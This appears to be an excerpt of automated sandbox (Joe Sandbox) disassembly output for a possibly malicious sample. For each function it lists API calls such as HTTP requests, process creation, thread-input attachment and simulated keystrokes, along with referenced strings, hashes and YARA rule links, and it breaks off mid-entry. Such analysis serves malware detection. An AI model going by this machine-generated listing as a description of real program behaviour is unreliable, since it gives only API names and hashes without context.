Instruction Fuzzy Hash: E221F574A4020ABBDF00ABA4CC85EFEBB75EF48300F004119F955973A2DB758819DB30

Function 00D99163 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00D9916F
GetClassNameW.USER32(00000000,?,00000100), ref: 00D99184
_wcscmp.LIBCMT ref: 00D99196
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00D99211

Strings

smallicons, xrefs: 00D991D9
list, xrefs: 00D991F3
largeicons, xrefs: 00D991A5
details, xrefs: 00D991BF
SHELLDLL_DefView, xrefs: 00D99190

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: c27a42b2f62366a68f4a56a74dae99797e8a6a8f545532157fec70bfc2fc5e81
Instruction ID: a8e79ebfb7942907b067a3009e4bc0a9623d69b8e6b8af41c9fa93a529ea365d
Opcode Fuzzy Hash: c27a42b2f62366a68f4a56a74dae99797e8a6a8f545532157fec70bfc2fc5e81
Instruction Fuzzy Hash: 5011EC7A688307BAFF212728DC16DF7B79CDB15720B20412AFA00E54D2FEA298555A74

Function 00DB88AB Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00DB88D7
CoInitialize.OLE32(00000000), ref: 00DB8904
CoUninitialize.OLE32 ref: 00DB890E
GetRunningObjectTable.OLE32(00000000,?), ref: 00DB8A0E
SetErrorMode.KERNEL32(00000001,00000029), ref: 00DB8B3B
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,00DD2C0C), ref: 00DB8B6F
CoGetObject.OLE32(?,00000000,00DD2C0C,?), ref: 00DB8B92
SetErrorMode.KERNEL32(00000000), ref: 00DB8BA5
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00DB8C25
VariantClear.OLEAUT32(?), ref: 00DB8C35

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: f399f577bd07b00deb859b79d753d38b7bafe8fd20327d4f83585a8415739584
Instruction ID: b8ec0c0e0cb41dc92632c9bd3b632321b16d2b33bcf7975cfd703f1eb615bafa
Opcode Fuzzy Hash: f399f577bd07b00deb859b79d753d38b7bafe8fd20327d4f83585a8415739584
Instruction Fuzzy Hash: 8FC1F2B1608305EFC700DF68C88496ABBE9EF89748F04495DF98A9B251DB71ED05CB62

Function 00DA7990 Relevance: 15.3, APIs: 10, Instructions: 292COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000000,?), ref: 00DA7A6C

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ArraySafeVartype
String ID:
API String ID: 1725837607-0
Opcode ID: 1af7e4db83df48e26833af9f4618158f950fd1e245515c9e460bc1175e91c757
Instruction ID: 81634d339c66016d831483a5ad28fc9f0b82cf862e6fa220cf9151e297fc2f0a
Opcode Fuzzy Hash: 1af7e4db83df48e26833af9f4618158f950fd1e245515c9e460bc1175e91c757
Instruction Fuzzy Hash: 53B16B72A0821A9FDB00DFA5C885BBEB7B5FF0A321F244429E941E7251D734E941CBB1

Function 00DA11CE Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32(?,?,?,?,?,00DA0268,?,00000001), ref: 00DA11F0
GetForegroundWindow.USER32 ref: 00DA1204
GetWindowThreadProcessId.USER32(00000000), ref: 00DA120B
AttachThreadInput.USER32(00000000,00000000,00000001), ref: 00DA121A
GetWindowThreadProcessId.USER32(?,00000000), ref: 00DA122C
AttachThreadInput.USER32(00000000,00000000,00000001), ref: 00DA1245
AttachThreadInput.USER32(00000000,00000000,00000001), ref: 00DA1257
AttachThreadInput.USER32(00000000,00000000), ref: 00DA129C
AttachThreadInput.USER32(00000000,00000000,00000000), ref: 00DA12B1
AttachThreadInput.USER32(00000000,00000000,00000000), ref: 00DA12BC

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: a15d61d79dd1a26c24146d532c94150497c1054ba226b32043e3b861359b1e4d
Instruction ID: 32b456dc66ed3a092e6983f54680c82de4b1ba539004c9516617be77688544f7
Opcode Fuzzy Hash: a15d61d79dd1a26c24146d532c94150497c1054ba226b32043e3b861359b1e4d
Instruction Fuzzy Hash: F031FD79600306BFEF209F91EC8AFA937AAEB56351F144125F900E62A0D3B5DD848B74

Function 00D4FA5D Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00D4FAA6
OleUninitialize.OLE32(?,00000000), ref: 00D4FB45
UnregisterHotKey.USER32(?), ref: 00D4FC9C
DestroyWindow.USER32 ref: 00D845D6
FreeLibrary.KERNEL32(?), ref: 00D8463B
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00D84668

Strings

close all, xrefs: 00D4FAA1

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 5c34802374aec9a3a384b2b895ee68145f042b4fdd111b8f6e95c6d6a628d41f
Instruction ID: 77c5bd3d5ffcec8b1f4deb3a6addc9530fab5a16a17dbb81bd24b1a97ba757bd
Opcode Fuzzy Hash: 5c34802374aec9a3a384b2b895ee68145f042b4fdd111b8f6e95c6d6a628d41f
Instruction Fuzzy Hash: 98A14A347012128FCB29EF14C995A69F7A5EF15710F5842ADE84AAB262DB30ED16CF70

Function 00D9A068 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32 ref: 00D9A377

Strings

INSTANCE, xrefs: 00D9A285
NAME, xrefs: 00D9A1A9
REGEXPCLASS, xrefs: 00D9A13C
TEXT, xrefs: 00D9A2AE
CLASS, xrefs: 00D9A0F6
CLASSNN, xrefs: 00D9A119

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: e072b5a2d993f08b8232fcb88f7a26f06bcb46dbbe12541feea907b0ac6d6afd
Instruction ID: 3a492825e818e09f81eaa22b2150c1b8d93dd78dff508289ee921483cec41269
Opcode Fuzzy Hash: e072b5a2d993f08b8232fcb88f7a26f06bcb46dbbe12541feea907b0ac6d6afd
Instruction Fuzzy Hash: C0918332600606ABCF08DFA8C442BEEFB75FF04340F548119E999A7251DB31A999DBF1

Function 00D42E26 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB,?,?,000000FF,?,000000FF), ref: 00D42EAE

Part of subcall function 00D41DB3: GetClientRect.USER32(?,?), ref: 00D41DDC
Part of subcall function 00D41DB3: GetWindowRect.USER32(?,?), ref: 00D41E1D
Part of subcall function 00D41DB3: ScreenToClient.USER32(?,?), ref: 00D41E45

GetDC.USER32 ref: 00D7CD32
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00D7CD45
SelectObject.GDI32(00000000,00000000), ref: 00D7CD53
SelectObject.GDI32(00000000,00000000), ref: 00D7CD68
ReleaseDC.USER32(?,00000000), ref: 00D7CD70
MoveWindow.USER32(?,?,?,?,?,?), ref: 00D7CDFB

Strings

U, xrefs: 00D7CCD0

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 7411c81444f5bd71e9902c6622ca9a26ae37a6067c0575816670619aabc1a157
Instruction ID: 1436b68ed8b7e24c76e68d9a24bb7e6d4b6ed09e5182cd0f6b9cdacefffd0b48
Opcode Fuzzy Hash: 7411c81444f5bd71e9902c6622ca9a26ae37a6067c0575816670619aabc1a157
Instruction Fuzzy Hash: 8B717F31510205DFCF258F64C884ABA7BB5FF48360F18927AFD599A2A6E7319881DB70

Function 00DB1A15 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00DB1A50
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00DB1A7C
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00DB1ABE
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00DB1AD3
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00DB1AE0
HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 00DB1B10
InternetCloseHandle.WININET(00000000), ref: 00DB1B57

Part of subcall function 00DB2483: GetLastError.KERNEL32(?,?,00DB1817,00000000,00000000,00000001), ref: 00DB2498
Part of subcall function 00DB2483: SetEvent.KERNEL32(?,?,00DB1817,00000000,00000000,00000001), ref: 00DB24AD

Strings

, xrefs: 00DB1B01

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorEventHandleInfoLastOpenSend
String ID:
API String ID: 2603140658-3916222277
Opcode ID: ce56cd44a7d68e336512c4d4db0d6e47cc99c534ba488619ee4c7d01cb739a97
Instruction ID: db4762155b8827104024eeeb8aef978061f696b1236156f6b75bf5f5de43235f
Opcode Fuzzy Hash: ce56cd44a7d68e336512c4d4db0d6e47cc99c534ba488619ee4c7d01cb739a97
Instruction Fuzzy Hash: 5D418CB5501219FFEB118F50CC99FFA7BADEF09354F04412AF9069A281E7709E458BB4

Function 00DB8C46 Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,00DCF910), ref: 00DB8D28
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,00DCF910), ref: 00DB8D5C
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00DB8ED6
SysFreeString.OLEAUT32(?), ref: 00DB8F00

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: c87c8859e5e10f966d79d4aa0f9438cd602e5a9440d31f8623ab17c0bc1aefa5
Instruction ID: 06c0c572fcf0882f58ed81aa2b05c7f331755e3857c12e2d07a1d1aee5a95172
Opcode Fuzzy Hash: c87c8859e5e10f966d79d4aa0f9438cd602e5a9440d31f8623ab17c0bc1aefa5
Instruction Fuzzy Hash: 90F1E671A00209EFDB14EF94C884EEEB7B9FF49315F148458F906AB251DB31AE46DB60

Function 00DBF694 Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DBF6B5
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00DBF848
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00DBF86C
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00DBF8AC
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00DBF8CE
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00DBFA4A
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 00DBFA7C
CloseHandle.KERNEL32(?), ref: 00DBFAAB
CloseHandle.KERNEL32(?), ref: 00DBFB22

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: 2d28d8a8422fbcc7701a69a18f98ca7e1cb3ee42c0bd92d15a083fcd9adc7199
Instruction ID: 328db561c56354810e104be6d021fc3d6048962b476b109c153bb640fe7bbe99
Opcode Fuzzy Hash: 2d28d8a8422fbcc7701a69a18f98ca7e1cb3ee42c0bd92d15a083fcd9adc7199
Instruction Fuzzy Hash: A6E16031604341DFCB14DF25C891AAABBE1EF85354F18896DF8969B2A2CB31DC45CB72

Function 00DA4CC1 Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DA466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00DA3697,?), ref: 00DA468B

Part of subcall function 00DA466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00DA3697,?), ref: 00DA46A4

Part of subcall function 00DA4A31: GetFileAttributesW.KERNEL32(?,00DA370B), ref: 00DA4A32

lstrcmpiW.KERNEL32(?,?), ref: 00DA4D40
_wcscmp.LIBCMT ref: 00DA4D5A
MoveFileW.KERNEL32 ref: 00DA4D75

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: b17d7c069ad87226e69158e1d5515254e86ff1eac278f3834b6b6d4c86c7e776
Instruction ID: e836925241a2097c2f34028831244311fce8ba6b4f702f0958ec3b04ce161c93
Opcode Fuzzy Hash: b17d7c069ad87226e69158e1d5515254e86ff1eac278f3834b6b6d4c86c7e776
Instruction Fuzzy Hash: 145151B24083859BC764DB64D8819DFB3ECEF85350F04092EB689D3152EF74A688CB76

Function 00DC8645 Relevance: 13.7, APIs: 9, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001), ref: 00DC86FF

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: f73c2107a23d658d9485d2676b70a8175f64d06b466898c9253fb9de03480412
Instruction ID: 0324e5a48c1253af75a23c1a287f78322ab00a2fd23884c998172a74a967c241
Opcode Fuzzy Hash: f73c2107a23d658d9485d2676b70a8175f64d06b466898c9253fb9de03480412
Instruction Fuzzy Hash: 7051B030540246BFEB209B68DC89FA97B65EF05320F64411AF951E76E0DF71E980EB70

Function 00D42B72 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32 ref: 00D7C2F7
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00D7C319
LoadImageW.USER32 ref: 00D7C331
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 00D7C34F
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00D7C370
DestroyIcon.USER32(00000000), ref: 00D7C37F
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00D7C39C
DestroyIcon.USER32(?), ref: 00D7C3AB

Part of subcall function 00DCA4AF: DeleteObject.GDI32(00000000), ref: 00DCA4E8

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: ae17699faf547db4bee5c9706e967a19fbb1f00f35868a7003d1906e0ccefb77
Instruction ID: d8a37844f4ac617ee3678dad0bd701c2e356bed5421c2ebdd81f51614e13c2bd
Opcode Fuzzy Hash: ae17699faf547db4bee5c9706e967a19fbb1f00f35868a7003d1906e0ccefb77
Instruction Fuzzy Hash: 7F51487061020AAFDB24DF65CC85FAA7BA5EB48310F548528F946E7290E770ED90DB70

Function 00D9966E Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D9A82C: GetWindowThreadProcessId.USER32(?,00000000), ref: 00D9A84C
Part of subcall function 00D9A82C: GetCurrentThreadId.KERNEL32(00000000,?,00D99683,?,00000001), ref: 00D9A853
Part of subcall function 00D9A82C: AttachThreadInput.USER32(00000000,?,00D99683), ref: 00D9A85A

MapVirtualKeyW.USER32(00000025,00000000), ref: 00D9968E
PostMessageW.USER32 ref: 00D996AB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 00D996AE
MapVirtualKeyW.USER32(00000025,00000000), ref: 00D996B7
PostMessageW.USER32 ref: 00D996D5
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00D996D8
MapVirtualKeyW.USER32(00000025,00000000), ref: 00D996E1
PostMessageW.USER32 ref: 00D996F8
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00D996FB

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 1f15b627e2303cbcda63ae938af089655d9ac94bd9013a0bb9252985c6969ded
Instruction ID: b43db27c3a2fc7eac7a4c2ea5256e4bd1ec439a2d5769f99e57f059ef24bfe92
Opcode Fuzzy Hash: 1f15b627e2303cbcda63ae938af089655d9ac94bd9013a0bb9252985c6969ded
Instruction Fuzzy Hash: C811C27195031ABEFB106B649C49FAA7A1EDB4C790F110425F684AB1A0C9F25C119AB4

Function 00D98921 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,00D9853C,00000B00,?,?), ref: 00D9892A
HeapAlloc.KERNEL32(00000000,?,00D9853C,00000B00,?,?), ref: 00D98931
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00D9853C,00000B00,?,?), ref: 00D98946
GetCurrentProcess.KERNEL32(?,00000000,?,00D9853C,00000B00,?,?), ref: 00D9894E
DuplicateHandle.KERNEL32 ref: 00D98951
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00D9853C,00000B00,?,?), ref: 00D98961
GetCurrentProcess.KERNEL32(00D9853C,00000000,?,00D9853C,00000B00,?,?), ref: 00D98969
DuplicateHandle.KERNEL32 ref: 00D9896C
CreateThread.KERNEL32(00000000,00000000,00D98992,00000000,00000000,00000000), ref: 00D98986

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: c4af9d2906c3106f485235ef835b120501ff4e7fe41c20781258588893e0da33
Instruction ID: d991dc10176672dc24c06abe9dbe59120445db80200e3094f317b91fb20e8408
Opcode Fuzzy Hash: c4af9d2906c3106f485235ef835b120501ff4e7fe41c20781258588893e0da33
Instruction Fuzzy Hash: 1501BBB5240309FFE710ABA5DC4DFAB7BADEB89711F448421FA05DB2A1CA719800CB30

Function 00DB9B23 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 00DB9B7B
NULL Pointer assignment, xrefs: 00DB9BA4, 00DB9EC8

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
